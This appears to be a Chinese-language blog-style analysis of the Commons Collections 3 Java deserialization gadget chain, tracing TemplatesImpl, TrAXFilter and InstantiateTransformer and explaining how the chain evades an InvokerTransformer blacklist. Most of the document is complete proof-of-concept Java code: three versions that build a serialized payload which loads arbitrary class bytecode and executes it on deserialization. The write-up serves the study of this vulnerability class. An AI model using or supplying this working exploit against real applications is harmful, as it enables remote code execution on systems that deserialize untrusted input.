CommonsCollections3调用链图
TemplatesImpI类分析
进入TemplatesImpl进行分析
分析getTransletInstance
这里有两个判断条件
如果_name==null 返回null
如果_class==null就调用defineTransletClasses()
下来跟进defineTransletClasses()
分析defineTransletClasses()
这里如果_bytecodes==null
就执行错误处理语句块
看上图代码紧接着进行获取当前_class的getSuperclass()获取超类 再进行判断这个超类是不是包含在ABSTRACT_TRANSLET 如果存在泽执行if里面的diamagnetic对_transletIndex赋值
这个常量中 可以跟进这个常量看看这个常量中存储了什么值
可以看到这里对 AbstractTranslet复制了AbstractTranslet这个类所以我们恶意类要继承它
注意再获取超类这里 这里我们就需要对_bytecodes中的恶意类进行继承AbstractTranslet继承之后才能完成这个条件
这里我们可以构造我们初步测试的poc 版本一
1 //实例化TemplatesImpl 2 TemplatesImpl templates=new TemplatesImpl(); 3 //获取TemplatesImpl的Class 4 Class tc=templates.getClass(); 5 Field nameField=tc.getDeclaredField("_name"); 6 nameField.setAccessible(true); 7 nameField.set(templates,"aaaa"); 8 Field bytecodesField=tc.getDeclaredField("_bytecodes"); 9 bytecodesField.setAccessible(true); 10 //加载恶意类 11 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); 12 byte[][] codes={code}; 13 bytecodesField.set(templates,codes); 14 15 Field tfactoryField=tc.getDeclaredField("_tfactory"); 16 tfactoryField.setAccessible(true); 17 tfactoryField.set(templates,new TransformerFactoryImpl()); 18 #调用 19 templates.newTransformer();
我们可以复盘一下我们通过TemplatesImpl调用链子
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
下来我们的目标就是想办法调用newTransformer() 我们可以使用之前cc1的方法
这里的newTransformr可以用transformers进行链式调用newTransformer
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null), }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
下来把剩下的cc1 LzayMap本剩下的代码站过来即可
初步测试版本的poc 二
1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 2 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 3 import org.apache.commons.collections.Transformer; 4 import org.apache.commons.collections.functors.ChainedTransformer; 5 import org.apache.commons.collections.functors.ConstantTransformer; 6 import org.apache.commons.collections.functors.InvokerTransformer; 7 import org.apache.commons.collections.map.LazyMap; 8 import java.io.ByteArrayInputStream; 9 import java.io.ByteArrayOutputStream; 10 import java.io.ObjectInputStream; 11 import java.io.ObjectOutputStream; 12 import java.lang.reflect.*; 13 import java.nio.file.Files; 14 import java.nio.file.Paths; 15 import java.util.HashMap; 16 import java.util.Map; 17 18 19 public class cc3aa{ 20 public static void main(String[] args)throws Exception { 21 22 TemplatesImpl templates=new TemplatesImpl(); 23 Class tc=templates.getClass(); 24 Field nameField=tc.getDeclaredField("_name"); 25 nameField.setAccessible(true); 26 nameField.set(templates,"aaaa"); 27 Field bytecodesField=tc.getDeclaredField("_bytecodes"); 28 bytecodesField.setAccessible(true); 29 30 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); 31 byte[][] codes={code}; 32 bytecodesField.set(templates,codes); 33 34 Field tfactoryField=tc.getDeclaredField("_tfactory"); 35 tfactoryField.setAccessible(true); 36 tfactoryField.set(templates,new TransformerFactoryImpl()); 37 38 39 Transformer[] transformers=new Transformer[]{ 40 new ConstantTransformer(templates), 41 new InvokerTransformer("newTransformer",null,null), 42 }; 43 44 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); 45 46 HashMap<Object,Object> map=new HashMap<Object, Object>(); 47 Map<Object,Object> lazyMap=LazyMap.decorate(map,chainedTransformer); 48 49 Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 50 Constructor annotationInvocationdhdConstructor=c.getDeclaredConstructor(Class.class,Map.class); 51 annotationInvocationdhdConstructor.setAccessible(true); 52 InvocationHandler h= (InvocationHandler) annotationInvocationdhdConstructor.newInstance(Override.class,lazyMap); 53 54 55 Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); 56 57 Object os=annotationInvocationdhdConstructor.newInstance(Override.class,mapProxy); 58 59 ByteArrayOutputStream barr = new ByteArrayOutputStream(); 60 ObjectOutputStream oos = new ObjectOutputStream(barr); 61 oos.writeObject(os); 62 oos.close(); 63 System.out.println(barr); 64 65 ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); 66 Object o=ois.readObject(); 67 System.out.println(o); 68 69 70 71 72 } 73 }
这个版本测试poc可以完全成功执行代码 但是问题来了
这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。有攻就有防,ysoserial随后增加了不少新的Gadgets,其中就包括本次的CommonsCollections3。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。
这个类的构造⽅法中调⽤了 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步
TrAXFilter类分析
可以看到第61行
因为第一个版本的java序列化 这里调用了newTransformer()方法
这个类是不能被序列化的
cc3的作者着使用InstantiateTransformer
InstantiateTransformer类分析
从第100行开始看可以看到这里判断传进来的是不是Class类型 如果是再102行使用getConstructor()获得指定类构造器 紧接着106行newInstance调用了构造器获得的方法并传入变量值
newInstance 方法对对象进行初始化 调用方法
构造
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
调用instantiateTransformer.transform()方法并传入TrAXFilter.class 这样再程序进入到InstantiateTransformer中的transform中执行的时候 这样就可以调用TrAXFilter.class的构造方法并将 Templates.class类传入到getConstructor()这样是调用指定的类方法TrAXFilter.class中的指定的类方法 再程序进入到到106行进行了newInstance方法调用 将传进来的templates传给被调构造方法中的变量
最终poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.xalan.xsltc.trax.TrAXFilter; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class cc3aa{ public static void main(String[] args)throws Exception { TemplatesImpl templates=new TemplatesImpl(); Class tc=templates.getClass(); Field nameField=tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); // HashMap<Object,Object> map=new HashMap<Object, Object>(); Map<Object,Object> lazyMap= LazyMap.decorate(map,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationdhdConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationdhdConstructor.setAccessible(true); InvocationHandler h= (InvocationHandler) annotationInvocationdhdConstructor.newInstance(Override.class,lazyMap); Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object os=annotationInvocationdhdConstructor.newInstance(Override.class,mapProxy); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(os); oos.close(); System.out.println(barr); ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o=ois.readObject(); System.out.println(o); } }